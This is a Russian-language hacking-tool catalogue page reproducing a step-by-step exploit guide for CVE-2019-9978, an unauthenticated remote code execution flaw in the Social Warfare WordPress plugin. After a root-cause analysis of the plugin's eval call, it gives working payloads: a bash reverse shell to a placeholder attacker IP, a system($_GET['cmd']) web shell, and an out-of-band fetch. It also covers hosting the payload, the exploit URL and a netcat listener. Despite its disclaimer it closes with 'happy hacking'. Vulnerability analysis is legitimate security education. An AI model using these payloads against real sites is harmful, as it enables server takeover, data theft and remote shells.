Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-RCE — Полное пошаговое руководство и эксплойт для CVE-2019-9978 - Неаутентифицированное удаленное выполнение кода в плагине Social Warfare для WordPress версии ≤ 3.5.2. Включает анализ уязвимого кода и примеры полезных нагрузок. | Kitploit
Инструменты/GitHubGitHub/tokyohunter/cve-2019-9978-social-warfare-wordpress-rce
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubtokyohunter/cve-2019-9978-social-warfare-wordpress-rce

CVE-2019-9978-Social-Warfare-WordPress-RCE

Полное пошаговое руководство и эксплойт для CVE-2019-9978 - Неаутентифицированное удаленное выполнение кода в плагине Social Warfare для WordPress версии ≤ 3.5.2. Включает анализ уязвимого кода и примеры полезных нагрузок.

Репозиторий
182 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Gemini_Generated_Image_a1skbua1skbua1sk

🚀 CVE-2019-9978 – Удаленное выполнение кода в плагине Social Warfare для WordPress

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот репозиторий предназначен только для образовательного и авторизованного тестирования безопасности. Используйте только на системах, которыми вы владеете или на которые имеете явное письменное разрешение. Несанкционированный доступ незаконен.


📋 Обзор

СвойствоЗначение
CVE IDCVE-2019-9978
Затронутое ПОSocial Warfare Plugin ≤ 3.5.2 (WordPress)
Тип уязвимостиУдаленное выполнение кода (RCE) / Удаленное включение файла (RFI)
Требуется аутентификация❌ Нет – неаутентифицированный
CVSS Score9.8 (Критический)
Исправлено вВерсия 3.5.3
Эксплуатировалось в дикой природеДа – март 2019

Плагин Social Warfare — это популярный плагин WordPress, который добавляет кнопки социальных сетей на сайты. Версии 3.5.0–3.5.2 содержат критическую уязвимость RCE, позволяющую злоумышленникам выполнять произвольный PHP-код на сервере без аутентификации.


Для чего используется этот плагин?

Social Warfare — популярный плагин WordPress, который добавляет кнопки социальных сетей на сайты, позволяя посетителям легко делиться контентом на таких платформах, как:

  • Facebook
  • Twitter / X
  • Pinterest
  • LinkedIn
  • Reddit
  • WhatsApp

sc1


Анализ первопричины

Уязвимый код

if ( true == SWP_Utility::debug( 'load_options' ) ) {
    // ⚠️ КРИТИЧЕСКОЕ НЕДОПОНИМАНИЕ:
    // is_admin() проверяет только, находится ли страница в /wp-admin/
    // Она НЕ проверяет аутентификацию или привилегии пользователя!
    if ( is_admin() ) {
        wp_die( 'You do not have authorization to view this page.' );
    }

    // Шаг 1: Получение удаленного файла по URL, указанному пользователем
    // Никакой валидации, санитизации или белого списка!
    $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    // Шаг 2: Извлечение содержимого между тегами <pre>
    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    // Шаг 3: Формирование строки PHP-кода
    $array = 'return ' . $options . ';';

    // Шаг 4: 💀 КРИТИЧЕСКАЯ ОШИБКА - Выполнение кода, предоставленного пользователем!
    try {
        $fetched_options = eval( $array ); // <-- Удаленное выполнение кода
        // ... остальная логика миграции
    } catch ( ParseError $e ) {
        // ... обработка ошибок
    }
}

Почему is_admin() НЕ является защитой

Функция WordPress is_admin() не проверяет, вошел ли пользователь в систему или имеет ли он права администратора. Она только проверяет, находится ли запрошенная страница в каталоге /wp-admin/:

function is_admin() {
    return defined('WP_ADMIN') && WP_ADMIN;
    //  НЕ проверяет аутентификацию!
    //  НЕ проверяет роль пользователя!
}

Ирония: При доступе к /wp-admin/admin-post.php WordPress определяет WP_ADMIN = true. Это заставляет is_admin() возвращать true даже для неаутентифицированных запросов, что включает выполнение уязвимого блока кода.

Вот в чем уязвимость!

 $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    $array = 'return ' . $options . ';';

    try {
        $fetched_options = eval( $array ); // <-- Удаленное выполнение кода
    }

Плагин имел скрытую функцию «отладки», которая должна была помогать разработчикам загружать файлы конфигурации из внешних URL. Однако эта функция имела фатальную ошибку: она загружала любой файл по предоставленному пользователем URL и выполняла любой найденный внутри код — без запроса разрешения или проверки авторизации пользователя.

Эксплойт прост:

Злоумышленник размещает вредоносный файл на своем сервере, сообщает плагину загрузить его, и плагин слепо выполняет код злоумышленника на сайте жертвы. Поскольку для срабатывания не требуется вход в систему, любой, кто знает URL, может захватить сайт.

Представьте это так: Представьте охранника, который открывает любую дверь, когда вы говорите «режим отладки» — не проверяя, работаете ли вы там или имеете пропуск. Именно так и работала эта уязвимость.

Эксплойт должен быть записан между тегами <pre></pre>.


💀 Пошаговое руководство по эксплуатации

Шаг 1: Определите уязвимую цель или установите WordPress и этот плагин, затем следуйте шагам

Используйте WPScan для определения версии плагина Social Warfare:

wpscan --url http://target.com --enumerate vp
  • Версия плагина Social Warfare ≤ 3.5.2

Если вы установили самостоятельно, не забудьте активировать плагин в панели администратора.


Шаг 2: Создайте файл полезной нагрузки

Создайте payload.txt с нужной полезной нагрузкой, а затем запустите сервер для её обслуживания.

примеры полезных нагрузок:

Тестовая нагрузка (проверка RCE):

<pre>phpinfo();</pre>

тест вне границ:

<pre>@file_get_contents('http://burp collabrator');</pre>

Обратная оболочка Linux:

<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>

Интерактивное выполнение команд:

<pre>system($_GET['cmd']);</pre>

Шаг 3: Разместите полезную нагрузку

Запустите Python HTTP-сервер для размещения вашей нагрузки:

python3 -m http.server 8000

Теперь ваша нагрузка доступна по адресу: http://YOUR_IP:8000/payload.txt

если вы используете localhost:

http://127.0.0.1:8000/payload.txt

после отправки запроса из уязвимого кода вы должны увидеть код состояния 200:

sc3


Шаг 4: Запустите эксплойт

Вариант A – Ручной запуск:

Перейдите по этому URL в браузере или используйте curl:

http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt

опять же, если вы используете localhost:

http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt

Шаг 5: Получите обратную оболочку (для нагрузок с обратной оболочкой)

nc -lvnp 4444

В случае успеха вы получите оболочку!


Результаты:

<pre>@file_get_contents('http://burp collabrator');</pre>

sce

<pre>phpinfo();</pre>

sc4


Удачного взлома! 🚀

Скачать инструмент